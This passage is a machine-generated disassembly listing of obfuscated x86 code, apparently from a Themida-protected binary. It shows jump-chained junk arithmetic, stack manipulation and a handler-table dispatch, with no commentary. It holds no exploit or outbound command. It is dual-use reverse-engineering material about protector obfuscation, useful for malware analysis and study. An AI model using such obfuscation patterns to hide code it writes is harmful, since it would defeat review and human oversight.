loc_56D598:				; CODE XREF: sub_56207C-36A5j
		pop	ebx
		sub	ecx, eax
		jmp	loc_5707AF
; ---------------------------------------------------------------------------


loc_56D5A0:				; CODE XREF: sub_56207C+AEECj
		xor	[esp+22h+var_24+2], ebx
		xor	ebx, [esp+22h+var_24+2]
		mov	esp, [esp+22h+var_24+2]
		add	byte ptr [esp+22h+var_24+2], al
		pushf
		jmp	loc_56C389
; ---------------------------------------------------------------------------


loc_56D5B2:				; CODE XREF: sub_56207C+6A2Aj
		pop	ebx
		push	[esp+16h+var_18+2]
		pop	esi
		jmp	loc_56E1FB
; ---------------------------------------------------------------------------


loc_56D5BC:				; CODE XREF: sub_56207C+9221j
		sub	edx, 3507709Ch
		xor	edx, 38E0264Eh
		add	edx, 843A7C0Ah
		add	ebp, edx
		push	[esp+3Ch+var_3C]
		jmp	loc_561C91
; ---------------------------------------------------------------------------


loc_56D5D8:				; CODE XREF: sub_56207C+D479j
		push	edi
		jmp	loc_56E0A8
; ---------------------------------------------------------------------------


loc_56D5DE:				; CODE XREF: sub_56207C+5D6Bj
		mov	esp, [esp+4Ch+var_4C]
		jmp	loc_562CE2
; ---------------------------------------------------------------------------


loc_56D5E6:				; CODE XREF: sub_56207C+93A2j
		ror	[esp+3Eh+var_40+2], cl
		pushf
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_56D5EF:				; CODE XREF: sub_56207C+792Fj
		push	edx
		mov	edx, 1FDEC6Dh
		mov	eax, edx
		mov	edx, [esp+24h+var_24]
		jmp	loc_564F6A
; ---------------------------------------------------------------------------


loc_56D5FF:				; CODE XREF: sub_56207C-35D5j
		mov	ebp, [esp+2Eh+var_30+2]
		add	esp, 4
		push	[esp+2Ah+var_2C+2]
		push	[esp+2Eh+var_30+2]
		pop	eax
		add	esp, 4
		add	esp, 4
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp+2Ah+var_2C+2]
		pop	esp
		mov	[esp+26h+var_28+2], edi
		mov	edi, ebp
		push	217Ch
		mov	[esp+2Ah+var_2C+2], edi
		mov	edx, [esp+2Ah+var_2C+2]
		jmp	loc_56AD54
; ---------------------------------------------------------------------------


loc_56D63A:				; CODE XREF: sub_56207C-1824j
		mov	ebx, ecx
		pop	ecx
		add	edi, ebx
		jmp	loc_55FC9E
; ---------------------------------------------------------------------------


loc_56D644:				; CODE XREF: sub_56207C+AAACj
		push	ebx
		mov	ebx, 7F583EAFh
		jmp	loc_564AA8
; ---------------------------------------------------------------------------


loc_56D64F:				; CODE XREF: sub_56207C+101A2j
		sub	eax, 4
		xchg	eax, [esp+44h+var_44]
		pop	esp
		mov	[esp+40h+var_40], eax
		mov	eax, 4
		add	ebp, eax
		mov	eax, [esp+40h+var_40]
		add	esp, 4
		push	ebp
		push	[esp+40h+var_3C]
		pop	ebp
		pop	[esp+40h+var_40]
		pop	esp
		mov	ecx, [esp+38h+var_38]
		push	6E7Bh
		mov	[esp+3Ch+var_3C], edx
		mov	edx, esp
		jmp	loc_566A06
; ---------------------------------------------------------------------------


loc_56D685:				; CODE XREF: sub_56207C+4556j
		mov	[esp+2Ah+var_2C+2], eax
		push	[esp+2Ah+var_2C+2]
		mov	eax, [esp+2Eh+var_30+2]
		add	esp, 4
		push	ecx
		sub	esp, 4
		mov	[esp+32h+var_34+2], esp
		push	eax
		jmp	loc_5715AC
; ---------------------------------------------------------------------------


loc_56D69E:				; CODE XREF: sub_56207C+3BFDj
		push	eax
		mov	eax, 520817A4h
		sub	ebx, eax
		pop	eax
		sub	ecx, ebx
		pop	ebx
		jmp	loc_56A996
; ---------------------------------------------------------------------------


loc_56D6AF:				; CODE XREF: sub_56207C+448Dj
		pop	ebx
		add	esp, 4
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		jmp	loc_569694
; ---------------------------------------------------------------------------


loc_56D6CA:				; CODE XREF: sub_56207C+3082j
		pop	edi
		xchg	edx, [esp+20h+var_20]
		jmp	loc_561374
; ---------------------------------------------------------------------------


loc_56D6D3:				; CODE XREF: sub_56207C+364Aj
		add	al, 90h
		sub	al, 65h
		push	ebp
		push	esp
		jmp	loc_56BF09
; ---------------------------------------------------------------------------


loc_56D6DE:				; CODE XREF: sub_56207C+F898j
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+14h+var_14]
		pop	esp
		jmp	loc_568FB4
; ---------------------------------------------------------------------------


loc_56D6F6:				; CODE XREF: sub_56207C-2103j
		add	eax, ebp
		jmp	loc_569BCB
; ---------------------------------------------------------------------------


loc_56D6FD:				; CODE XREF: sub_56207C+38B6j
		pop	[esp-0Ch+arg_8]
		jmp	loc_56DF42
; ---------------------------------------------------------------------------


loc_56D705:				; CODE XREF: sub_56207C+8D8Cj
		shl	esi, 1
		push	edi
		push	5C3E11E1h
		jmp	loc_55F17B
; ---------------------------------------------------------------------------


loc_56D712:				; CODE XREF: sub_56207C+401Dj
		and	ch, 2Bh
		shr	ch, 1
		add	ch, 76h
		dec	ch
		sub	ch, 0C3h
		add	bl, ch
		pop	ecx
		jmp	loc_56197A
; ---------------------------------------------------------------------------


loc_56D727:				; CODE XREF: sub_56207C+10A70j
		mov	ecx, [esp+0Eh+var_10+2]
		add	esp, 4
		push	edx
		xchg	edx, [esp+0Eh+var_10+2]
		xchg	ecx, edx
		jmp	loc_560302
; ---------------------------------------------------------------------------


loc_56D73B:				; CODE XREF: sub_56207C+DB65j
		push	ebx
		jmp	loc_56A3C1
; ---------------------------------------------------------------------------


loc_56D741:				; CODE XREF: sub_56207C+1AB0j
		add	esp, 4
		jmp	loc_55EF84
; ---------------------------------------------------------------------------


loc_56D74C:				; CODE XREF: sub_56207C+108F4j
		pop	esp
		jmp	loc_573124
; ---------------------------------------------------------------------------


loc_56D752:				; CODE XREF: sub_56207C+9B32j
		pop	esp
		xor	edi, [esp+8+var_8]
		xor	[esp+8+var_8], edi
		xor	edi, [esp+8+var_8]
		pop	esp
		xor	ebx, [esp+4+var_4]
		xor	[esp+4+var_4], ebx
		xor	ebx, [esp+4+var_4]
		pop	esp
		jmp	loc_572D50
; ---------------------------------------------------------------------------


loc_56D76C:				; CODE XREF: sub_56207C+24FAj
		mov	esi, 7398419Dh
		push	ebx
		mov	ebx, 28DB54A8h
		neg	ebx
		push	edi
		mov	edi, 5D85BF7h
		and	ebx, edi
		pop	edi
		xor	ebx, 7A6A5442h
		xor	ebx, 0C32D6725h
		mov	edi, ebx
		jmp	loc_570902
; ---------------------------------------------------------------------------


loc_56D795:				; CODE XREF: sub_55F2AC+2BA9j
		pop	esp
		mov	[esp+3Ch+var_3C], ebp
		push	eax
		push	ebp
		push	edi
		mov	edi, 33C23C1h
		mov	ebp, edi
		pop	edi
		mov	eax, ebp
		pop	ebp
		xor	eax, 5CE356D2h
		jmp	loc_56FC97
; ---------------------------------------------------------------------------


loc_56D7B1:				; CODE XREF: sub_56207C+F0E3j
		push	esp
		mov	ebp, [esp+44h+var_44]
		jmp	loc_56C648
; ---------------------------------------------------------------------------


loc_56D7BA:				; CODE XREF: sub_56207C-194j
		inc	ebx
		push	1893h
		mov	[esp+4Ch+var_4C], eax
		mov	eax, 32495967h
		jmp	loc_55F3EF
; ---------------------------------------------------------------------------


loc_56D7CD:				; CODE XREF: sub_56207C+112A4j
		pop	edi
		add	eax, ebx
		jmp	loc_56413D
; ---------------------------------------------------------------------------


loc_56D7D5:				; CODE XREF: sub_56207C+A5C7j
		mov	ebx, 39BD0152h
		xor	edx, ebx
		pop	ebx
		push	ecx
		mov	ecx, 12DD3D5Ch
		add	ecx, 0B4B2032Ah
		sub	edx, ecx
		mov	ecx, [esp+36h+var_38+2]
		add	esp, 4
		add	ebp, edx
		jmp	loc_56D413
; ---------------------------------------------------------------------------


loc_56D7F8:				; CODE XREF: sub_56207C+139Aj
		xor	edx, [esp+26h+var_28+2]
		xor	[esp+26h+var_28+2], edx
		xor	edx, [esp+26h+var_28+2]
		mov	esp, [esp+26h+var_28+2]
		sub	esp, 4
		mov	[esp+2Ah+var_2C+2], ecx
		jmp	loc_56B9C0
; ---------------------------------------------------------------------------


loc_56D80F:				; CODE XREF: sub_56207C+334Aj
		push	ebp
		jmp	loc_571859
; ---------------------------------------------------------------------------


loc_56D815:				; CODE XREF: sub_56207C+7BD6j
		sub	edx, 6C8F1AEDh
		sub	edx, 4A6D9677h
		mov	eax, edx
		pop	edx
		jmp	loc_565960
; ---------------------------------------------------------------------------


loc_56D829:				; CODE XREF: sub_56207C+8D37j
		sub	ecx, edx
		pop	edx
		push	3987h
		mov	[esp+46h+var_48+2], edx
		push	eax
		push	4CE4F4Fh
		pop	eax
		jmp	loc_56EDB3
; ---------------------------------------------------------------------------


loc_56D840:				; CODE XREF: sub_56207C+42C0j
		push	edi
		mov	edi, 741A1C5Fh
		and	edi, 168024ADh
		sub	edi, 8261D76h
		jmp	loc_568CCE
; ---------------------------------------------------------------------------


loc_56D857:				; CODE XREF: sub_56207C+2A91j
		push	ebx
		mov	bl, 0D5h
		sub	bl, 95h
		jmp	loc_55F979
; ---------------------------------------------------------------------------


loc_56D862:				; CODE XREF: sub_56207C-3827j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_561C01
; ---------------------------------------------------------------------------


loc_56D876:				; CODE XREF: sub_56207C+7AC8j
		mov	edi, esp
		add	edi, 4
		jmp	loc_5679E2
; ---------------------------------------------------------------------------


loc_56D883:				; CODE XREF: sub_56207C+DB42j
		add	edi, esi
		jmp	loc_55FA52
; ---------------------------------------------------------------------------


loc_56D88A:				; CODE XREF: sub_56207C+2F48j
		pop	esi
		jmp	loc_57309D
; ---------------------------------------------------------------------------


loc_56D890:				; CODE XREF: sub_56207C-18CDj
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	eax
		mov	eax, 18E7605Dh
		jmp	loc_55E457
; ---------------------------------------------------------------------------


loc_56D8A4:				; CODE XREF: sub_56207C-2A8Cj
		mov	cl, 32h
		push	56BDh
		mov	[esp+28h+var_28], edx
		mov	dh, 0CAh
		or	cl, dh
		pop	edx
		push	small 0
		sub	byte ptr [esp+26h+var_28+2], cl
		mov	cl, byte ptr [esp+26h+var_28+2]
		add	esp, 2
		sub	cl, 1
		and	cl, 9Ah
		add	cl, 36h
		add	bl, cl
		mov	ecx, [esp+22h+var_24+2]
		add	esp, 4
		movzx	eax, al
		jmp	dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
		popa
		retn
; ---------------------------------------------------------------------------
		jmp	loc_56A778
; ---------------------------------------------------------------------------


loc_56D8DE:				; CODE XREF: sub_56207C+57DEj
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_56D8E3:				; CODE XREF: sub_56207C-2360j
		mov	dl, ch
		pop	ecx
		pop	eax
		shl	dl, 2
		push	bx
		push	77ADh
		jmp	loc_573425
; ---------------------------------------------------------------------------


loc_56D8F6:				; CODE XREF: sub_560AFE-62Bj
		add	esp, 4
		add	edi, 4
		push	ecx
		jmp	loc_56CAE8
; ---------------------------------------------------------------------------


loc_56D905:				; CODE XREF: sub_56207C+3A39j
		push	6BBCh
		mov	[esp+4Ah+var_4C+2], ebp
		mov	ebp, 2
		sub	ebx, 39975A72h
		add	ebx, ebp
		add	ebx, 39975A72h
		pop	ebp
		xor	ebx, [esp+46h+var_48+2]
		xor	[esp+46h+var_48+2], ebx
		xor	ebx, [esp+46h+var_48+2]
		jmp	loc_56E7C7
; ---------------------------------------------------------------------------


loc_56D92F:				; CODE XREF: sub_56207C+90F4j
		pop	edx
		xchg	ebp, [esp-4+arg_0]
		jmp	loc_56B5D7
; ---------------------------------------------------------------------------


loc_56D938:				; CODE XREF: sub_56207C+B37Dj
		mov	edi, 76DD8DB3h
		jmp	loc_56576B
; ---------------------------------------------------------------------------


loc_56D942:				; CODE XREF: sub_56207C-5B1j
		sub	esp, 4
		mov	[esp+22h+var_24+2], eax
		push	[esp+22h+var_20+2]
		jmp	loc_569103
; ---------------------------------------------------------------------------


loc_56D951:				; CODE XREF: sub_56207C+1348j
		mov	[esp+26h+var_28+2], ebp
		push	48A1h
		mov	[esp+2Ah+var_2C+2], edi
		push	4C1D5984h
		pop	edi
		dec	edi
		push	eax
		mov	eax, 660476ACh
		jmp	loc_5733DF
; ---------------------------------------------------------------------------


loc_56D96E:				; CODE XREF: sub_56207C+3893j
		add	esp, 4
		xor	ecx, [esp+3Eh+var_40+2]
		xor	[esp+3Eh+var_40+2], ecx
		xor	ecx, [esp+3Eh+var_40+2]
		mov	esp, [esp+3Eh+var_40+2]
		mov	ax, word ptr [esp+3Eh+var_40+2]
		sub	esp, 4
		mov	[esp+42h+var_44+2], edi
		mov	edi, esp
		push	4837h
		mov	[esp+46h+var_48+2], ebx
		mov	ebx, 4
		add	edi, ebx
		mov	ebx, [esp+46h+var_48+2]
		add	esp, 4
		jmp	loc_56FF95
; ---------------------------------------------------------------------------


loc_56D9A3:				; CODE XREF: sub_56207C+C2ADj
		add	ebp, 4
		push	ebp
		push	[esp+46h+var_44+2]
		jmp	loc_56120F
; ---------------------------------------------------------------------------


loc_56D9B0:				; CODE XREF: sub_56207C-9C9j
		add	esi, edx
		jmp	loc_565C7E
; ---------------------------------------------------------------------------


loc_56D9B7:				; CODE XREF: sub_56207C+5658j
		push	0A5Dh
		mov	[esp+12h+var_14+2], ecx
		mov	ecx, 3B2B187Ch
		dec	ecx
		push	edi
		mov	edi, 7C754B02h
		add	edi, 61E25B72h
		xor	edi, 0D8CC97ADh
		jmp	loc_5702B7
; ---------------------------------------------------------------------------


loc_56D9DC:				; CODE XREF: sub_56207C+EFEEj
		push	6161h
		mov	[esp+1Ah+var_1C+2], ecx
		sub	esp, 4
		mov	[esp+1Eh+var_20+2], esp
		add	[esp+1Eh+var_20+2], 4
		jmp	loc_56DE84
; ---------------------------------------------------------------------------


loc_56D9F6:				; CODE XREF: sub_56207C+1E4Fj
		mov	ecx, esp
		jmp	loc_5706FF
; ---------------------------------------------------------------------------


loc_56D9FD:				; CODE XREF: sub_56207C+6BB3j
		mov	esp, [esp+42h+var_44+2]
		push	esp
		pop	[esp+46h+var_48+2]
		add	[esp+42h+var_44+2], 4
		pop	edx
		add	edx, 4
		add	edx, 4
		xor	edx, [esp+3Eh+var_40+2]
		xor	[esp+3Eh+var_40+2], edx
		xor	edx, [esp+3Eh+var_40+2]
		mov	esp, [esp+3Eh+var_40+2]
		jmp	loc_56E289
; ---------------------------------------------------------------------------


loc_56DA26:				; CODE XREF: sub_56207C+D2E5j
		pop	edx
		mov	edx, edi
		pop	edi
		mov	edi, edx
		mov	edx, [esp+36h+var_38+2]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+3Ah+var_3C+2]
		jmp	loc_570BAA
; ---------------------------------------------------------------------------


loc_56DA44:				; CODE XREF: sub_56207C-379Cj
		xor	[esp+0Ch+var_C], ebp
		xor	ebp, [esp+0Ch+var_C]
		pop	esp
		push	edi
		mov	edi, esp
		jmp	loc_56CB89
; ---------------------------------------------------------------------------


loc_56DA53:				; CODE XREF: sub_56207C+106A4j
		add	edi, 21806D9Fh
		sub	edi, ebp
		push	eax
		mov	eax, 649D205Fh
		xor	eax, 451D4DC0h
		sub	edi, eax
		pop	eax
		jmp	loc_56BFB2
; ---------------------------------------------------------------------------


loc_56DA6E:				; CODE XREF: sub_56207C+EA24j
		xor	ebx, 51422EC1h
		sub	ebx, 0E391A7DBh
		add	ecx, ebx
		jmp	loc_563A89
; ---------------------------------------------------------------------------


loc_56DA81:				; CODE XREF: sub_56207C+BB6Bj
		add	ebx, eax
		pop	eax
		sub	ebx, 4A93E7B3h
		jmp	loc_56BCA1
; ---------------------------------------------------------------------------


loc_56DA8F:				; CODE XREF: sub_56207C+CE22j
		push	esi
		mov	esi, 2
		push	5ACDh
		mov	[esp+10h+var_10], ecx
		jmp	loc_55EB04
; ---------------------------------------------------------------------------


loc_56DAA2:				; CODE XREF: sub_56207C+C695j
		add	esi, 4
		push	eax
		push	ebp
		mov	ebp, 731F1DDDh
		mov	eax, 731F1DD9h
		xor	eax, ebp
		jmp	loc_56F30A
; ---------------------------------------------------------------------------


loc_56DABB:				; CODE XREF: sub_56207C+48B9j
		dec	ebx
		add	ebx, 25B7C33Ah
		mov	eax, ebx
		pop	ebx
		push	ecx
		mov	ecx, 50690B61h
		sub	eax, ecx
		pop	ecx
		sub	eax, 55644AB3h
		xor	eax, 8D26144Bh
		and	ebx, eax
		jmp	loc_5662B2
; ---------------------------------------------------------------------------


loc_56DADF:				; CODE XREF: sub_56207C-19Aj
		pop	ebx
		add	edi, 555316C7h
		add	edi, eax
		sub	edi, 555316C7h
		mov	eax, [esp+40h+var_40]
		jmp	loc_56AD15
; ---------------------------------------------------------------------------


loc_56DAF6:				; CODE XREF: sub_56207C-2CCBj
		mov	esi, esp
		add	esi, 4
		jmp	loc_563D42
; ---------------------------------------------------------------------------


loc_56DB03:				; CODE XREF: sub_56207C+9E2Bj
		mov	[esp+22h+var_24+2], edi
		push	7AAD43D8h
		mov	edi, [esp+26h+var_28+2]
		jmp	loc_5656D8
; ---------------------------------------------------------------------------


loc_56DB13:				; CODE XREF: sub_56207C+DF95j
		add	edi, 4
		add	edi, 4
		jmp	loc_56CB45
; ---------------------------------------------------------------------------


loc_56DB24:				; CODE XREF: sub_56207C-986j
		pop	esi
		xchg	ecx, [esp+38h+var_38]
		jmp	loc_56BB57
; ---------------------------------------------------------------------------


loc_56DB2D:				; CODE XREF: sub_56207C+BD9Dj
		sub	esi, 1A414BB1h
		pop	ebp
		push	ebx
		mov	ebx, 2E4C2F8Bh
		and	ebx, 3A85419Bh
		and	ebx, 69B753E8h
		add	ebx, 0EA941CF6h
		add	esi, ebx
		pop	ebx
		sub	esi, ecx
		jmp	loc_570927
; ---------------------------------------------------------------------------


loc_56DB56:				; CODE XREF: sub_56207C+A93Fj
		mov	edx, 4043523Ah
		mov	ecx, edx
		mov	edx, [esp+8+var_8]
		add	esp, 4
		xor	ecx, 4BCE5A07h
		neg	ecx
		xchg	ebx, ecx
		not	ebx
		xchg	ebx, ecx
		sub	ecx, 1FC0C634h
		sub	edi, ecx
		mov	ecx, [esp+4+var_4]
		push	edi
		jmp	loc_56160A
; ---------------------------------------------------------------------------


loc_56DB82:				; CODE XREF: sub_56207C-1FCEj
		sub	edi, esi
		jmp	loc_56B145
; ---------------------------------------------------------------------------


loc_56DB89:				; CODE XREF: sub_56207C+2022j
		mov	[esp+2Ch+var_2C], esi
		mov	esi, 623109D1h
		inc	esi
		inc	esi
		and	esi, 0BC0783Ch
		and	esi, 3C5D1D86h
		sub	esi, 0C61DE070h
		push	398Bh
		mov	[esp+30h+var_30], esi
		xor	[esp+30h+var_30], 1B946050h
		pop	ebp
		xor	ebp, 1B946050h
		pop	esi
		xor	ebp, 39E22794h
		jmp	loc_561EA1
; ---------------------------------------------------------------------------


loc_56DBC7:				; CODE XREF: sub_56207C+3B19j
		sub	eax, 1E150F1Ch
		not	eax
		neg	eax
		jmp	loc_5679D6
; ---------------------------------------------------------------------------


loc_56DBD5:				; CODE XREF: sub_56207C+6B55j
		mov	[esp+42h+var_44+2], ebx
		push	ecx
		jmp	loc_567239
; ---------------------------------------------------------------------------


loc_56DBDE:				; CODE XREF: sub_56207C+6036j
		pop	ecx
		not	ebx
		push	eax
		mov	eax, 1197061h
		jmp	loc_56DA81
; ---------------------------------------------------------------------------


loc_56DBEC:				; CODE XREF: sub_56207C+E330j
		sub	ebx, 25010E31h
		jmp	loc_570476
; ---------------------------------------------------------------------------


loc_56DBF7:				; CODE XREF: sub_56207C+CE40j
		xor	eax, [esp+14h+var_14]
		pop	esp
		mov	[esp+10h+var_10], ebp
		push	37DBh
		mov	[esp+14h+var_14], ecx
		push	66660390h
		pop	ecx
		neg	ecx
		sub	ecx, 9999FC6Ch
		mov	ebp, ecx
		push	[esp+14h+var_14]
		pop	ecx
		add	esp, 4
		sub	ecx, 491264F5h
		add	ecx, 23B35B44h
		add	ecx, ebp
		sub	ecx, 23B35B44h
		add	ecx, 491264F5h
		pop	ebp
		jmp	loc_5640C9
; ---------------------------------------------------------------------------


loc_56DC40:				; CODE XREF: sub_56207C-26FDj
		sub	bl, 56h
		jmp	loc_572CD7
; ---------------------------------------------------------------------------


loc_56DC48:				; CODE XREF: sub_56207C+1AD1j
		pop	edx
		push	edi
		jmp	loc_563888
; ---------------------------------------------------------------------------


loc_56DC4F:				; CODE XREF: Themida_:0055EA75j
		mov	ecx, edx
		pop	edx
		jmp	loc_572ADE
; ---------------------------------------------------------------------------


loc_56DC57:				; CODE XREF: sub_56207C+B2A3j
		and	ebx, 13E56618h
		and	ebx, 2A5B49C3h
		dec	ebx
		jmp	loc_56628A
; ---------------------------------------------------------------------------


loc_56DC69:				; CODE XREF: sub_56207C+B40Aj
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+44h+var_44]
		pop	esp
		jmp	loc_56863A
; ---------------------------------------------------------------------------


loc_56DC7B:				; CODE XREF: sub_56207C+620Cj
		push	ebp
		mov	ebp, 6D11DA2h
		dec	ebp
		push	ebx
		mov	ebx, 5C9216F6h
		and	ebx, 4B925018h
		jmp	loc_567A9D
; ---------------------------------------------------------------------------


loc_56DC93:				; CODE XREF: sub_56207C+103A8j
		add	esp, 4
		or	edx, ecx
		pop	ecx
		push	7758h
		mov	[esp+24h+var_24], eax
		mov	eax, 22ED524Ah
		sub	edx, eax
		pop	eax
		push	ecx
		jmp	loc_568C93
; ---------------------------------------------------------------------------


loc_56DCAF:				; CODE XREF: sub_56207C+111A9j
		sub	ebp, 54A16C1Ah
		pop	edi
		push	ebp
		jmp	loc_56CCB4
; ---------------------------------------------------------------------------


loc_56DCBC:				; CODE XREF: sub_56207C+7B55j
		add	eax, 506F1650h
		add	eax, ebp
		sub	eax, 506F1650h
		add	eax, 6C6670EAh
		push	esi
		jmp	loc_566635
; ---------------------------------------------------------------------------


loc_56DCD3:				; CODE XREF: sub_56207C+C497j
		push	[esp+58h+var_58]
		push	[esp+5Ch+var_5C]
		mov	ecx, [esp+60h+var_60]
		push	edx
		jmp	loc_564F7B
; ---------------------------------------------------------------------------


loc_56DCE2:				; CODE XREF: sub_56207C+38A8j
		push	59EB7E0Eh
		pop	edx
		xor	edx, 0B6AF4CF2h
		jmp	loc_562854
; ---------------------------------------------------------------------------


loc_56DCF3:				; CODE XREF: sub_56207C+6AF3j
		push	eax
		jmp	loc_5617FF
; ---------------------------------------------------------------------------


loc_56DCF9:				; CODE XREF: sub_56207C+1743j
		sub	esp, 4
		mov	[esp+30h+var_30], esi
		push	edx
		mov	edx, 2
		mov	esi, edx
		pop	edx
		add	ecx, esi
		jmp	loc_566C63
; ---------------------------------------------------------------------------


loc_56DD12:				; CODE XREF: sub_56207C+FE00j
		pop	[esp+30h+var_30]
		jmp	loc_56A84E
; ---------------------------------------------------------------------------


loc_56DD1A:				; CODE XREF: sub_56207C+6E17j
		push	bx
		jmp	loc_56FA9C
; ---------------------------------------------------------------------------


loc_56DD21:				; CODE XREF: sub_56207C-3CAj
		xchg	ebp, [esp+2Ch+var_2C]
		jmp	loc_55FF88
; ---------------------------------------------------------------------------


loc_56DD29:				; CODE XREF: sub_56207C+EE76j
		mov	[esp+2Ch+var_2C], edx
		push	ecx
		mov	ecx, 95F7706h
		dec	ecx
		jmp	loc_571439
; ---------------------------------------------------------------------------


loc_56DD38:				; CODE XREF: sub_56207C+D53Ej
		xchg	eax, esi
		jmp	loc_569517
; ---------------------------------------------------------------------------


loc_56DD3E:				; CODE XREF: sub_56207C+5234j
		add	ecx, ebx
		sub	ecx, 5320759Ah
		jmp	loc_564A81
; ---------------------------------------------------------------------------


loc_56DD4B:				; CODE XREF: sub_56207C+AF5Ej
		mov	esi, [esp+46h+var_48+2]
		jmp	loc_57043E
; ---------------------------------------------------------------------------


loc_56DD53:				; CODE XREF: sub_56207C+49D6j
		push	ebx
		push	esi
		pop	ebx
		jmp	loc_56D538
; ---------------------------------------------------------------------------


loc_56DD5B:				; CODE XREF: sub_56207C+465Fj
		push	5CA2850Eh
		pop	esi
		sub	esi, ebx
		pop	ebx
		push	ebx
		jmp	loc_56DE2E
; ---------------------------------------------------------------------------


loc_56DD6A:				; CODE XREF: Themida_:0055FD98j
		push	edx
		mov	edx, 376738DAh
		add	eax, edx
		pop	edx
		push	esi
		jmp	loc_57212C
; ---------------------------------------------------------------------------


loc_56DD79:				; CODE XREF: sub_56207C-81Bj
		mov	ebp, 137E4C30h
		sub	ebp, 6AC22FF0h
		jmp	loc_561EF8
; ---------------------------------------------------------------------------


loc_56DD89:				; CODE XREF: sub_56207C+C5E1j
		mov	bh, 77h
		sub	al, 36h
		sub	al, bh
		add	al, 36h
		pop	ebx
		push	ebx
		mov	bl, 4Fh
		push	ecx
		mov	cl, 97h
		jmp	loc_565B54
; ---------------------------------------------------------------------------


loc_56DD9D:				; CODE XREF: sub_56207C-17DAj
		mov	ebp, 0E6B8C212h
		add	edx, ebp
		jmp	loc_566762
; ---------------------------------------------------------------------------


loc_56DDA9:				; CODE XREF: sub_56207C+107C7j
		inc	ebx
		shl	ebx, 5
		add	ebx, 1CD68A2h
		add	ecx, ebx
		mov	ebx, [esp+34h+var_34]
		jmp	loc_563E0A
; ---------------------------------------------------------------------------


loc_56DDBD:				; CODE XREF: sub_56207C+7559j
		push	ebx
		push	ecx
		mov	cl, 34h
		and	cl, 73h
		jmp	loc_5691CA
; ---------------------------------------------------------------------------


loc_56DDC9:				; CODE XREF: sub_56207C+FE08j
		shr	edx, 1
		sub	edx, 0B6E146h
		xor	eax, edx
		pop	edx
		shr	eax, 1
		xor	eax, 12ECC863h
		jmp	loc_56FEE2
; ---------------------------------------------------------------------------


loc_56DDE0:				; DATA XREF: Themida_:0055E310o
		mov	eax, [esp+24h+var_24]
		push	eax
		push	esp
		pop	eax
		jmp	loc_566562
; ---------------------------------------------------------------------------


loc_56DDEB:				; CODE XREF: sub_56207C+EF55j
		sub	esp, 4
		mov	[esp+2Ch+var_2C], edx
		mov	edx, esp
		push	32Dh
		mov	[esp+30h+var_30], ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_56C80F
; ---------------------------------------------------------------------------


loc_56DE08:				; CODE XREF: sub_56207C+992Bj
		pop	esp
		mov	[esp+4Ah+var_4C+2], ebp
		mov	ebp, 15FE2D95h
		add	esi, 1A414BB1h
		add	esi, ebp
		jmp	loc_56DB2D
; ---------------------------------------------------------------------------


loc_56DE1E:				; CODE XREF: sub_56207C+1134Aj
		pop	ebx
		and	eax, ecx
		push	[esp+46h+var_48+2]
		pop	ecx
		push	ebx
		mov	ebx, esp
		push	edi
		jmp	loc_56B876
; ---------------------------------------------------------------------------


loc_56DE2E:				; CODE XREF: sub_56207C+BCE9j
		mov	ebx, 56792C65h
		jmp	loc_571D93
; ---------------------------------------------------------------------------


loc_56DE38:				; CODE XREF: sub_56207C+5B1Dj
		pop	edi
		push	6E30h
		mov	[esp+3Ah+var_3C+2], ebp
		push	edi
		jmp	loc_5627FB
; ---------------------------------------------------------------------------


loc_56DE47:				; CODE XREF: sub_56207C+7AE6j
		add	esp, 4
		sub	esp, 4
		mov	[esp+34h+var_34], eax
		mov	eax, 0BB50D0Bh
		add	eax, 0FFFFFFFFh
		push	edx
		push	esi
		mov	esi, 21E022EDh
		mov	edx, esi
		pop	esi
		push	eax
		mov	eax, 78E204h
		sub	edx, eax
		pop	eax
		xor	eax, edx
		pop	edx
		push	ebx
		mov	ebx, 5C280D47h
		sub	eax, ebx
		mov	ebx, [esp+38h+var_38]
		add	esp, 4
		jmp	loc_56B994
; ---------------------------------------------------------------------------


loc_56DE84:				; CODE XREF: sub_56207C+B975j
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		push	ecx
		push	[esp+1Eh+var_1C+2]
		push	[esp+22h+var_24+2]
		pop	ecx
		add	esp, 4
		pop	[esp+1Eh+var_20+2]
		mov	esp, [esp+1Ah+var_1C+2]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xor	edx, [esp+1Eh+var_20+2]
		xor	[esp+1Eh+var_20+2], edx
		xor	edx, [esp+1Eh+var_20+2]
		pop	esp
		push	ebp
		mov	ebp, 42747535h
		push	ecx
		mov	ecx, 283949BAh
		add	ebx, ecx
		pop	ecx
		push	ebp
		push	2F5Ch
		mov	[esp+26h+var_28+2], eax
		mov	eax, 100608DEh
		mov	ebp, 0FF480657h
		sub	ebp, 71C9481Bh
		add	ebp, eax
		add	ebp, 71C9481Bh
		pop	eax
		sub	ebx, ebp
		jmp	loc_55E931
; ---------------------------------------------------------------------------


loc_56DEF7:				; CODE XREF: sub_56207C+9450j
		neg	ah
		add	ah, 67h
		xor	ah, 6Bh
		jmp	loc_5715D3
; ---------------------------------------------------------------------------


loc_56DF04:				; CODE XREF: sub_56207C+D233j
		pop	esp
		mov	word ptr [esp+18h+var_18], cx
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_56DF0E:				; CODE XREF: sub_56207C+ACCj
		push	ecx
		jmp	loc_55F984
; ---------------------------------------------------------------------------


loc_56DF14:				; CODE XREF: sub_56207C+544Ej
		push	edx
		mov	edx, 53BA22FEh
		inc	edx
		add	edx, 27853223h
		xor	edx, 7B3F5522h
		mov	ebx, edx
		pop	edx
		jmp	loc_56B861
; ---------------------------------------------------------------------------


loc_56DF2F:				; CODE XREF: sub_56207C+95CBj
		pop	ecx
		mov	ebx, edx
		pop	edx
		mov	esi, 0E1890DC8h
		add	esi, ebx
		mov	ebx, [esp+1Ch+var_1C]
		jmp	loc_56BDF8
; ---------------------------------------------------------------------------


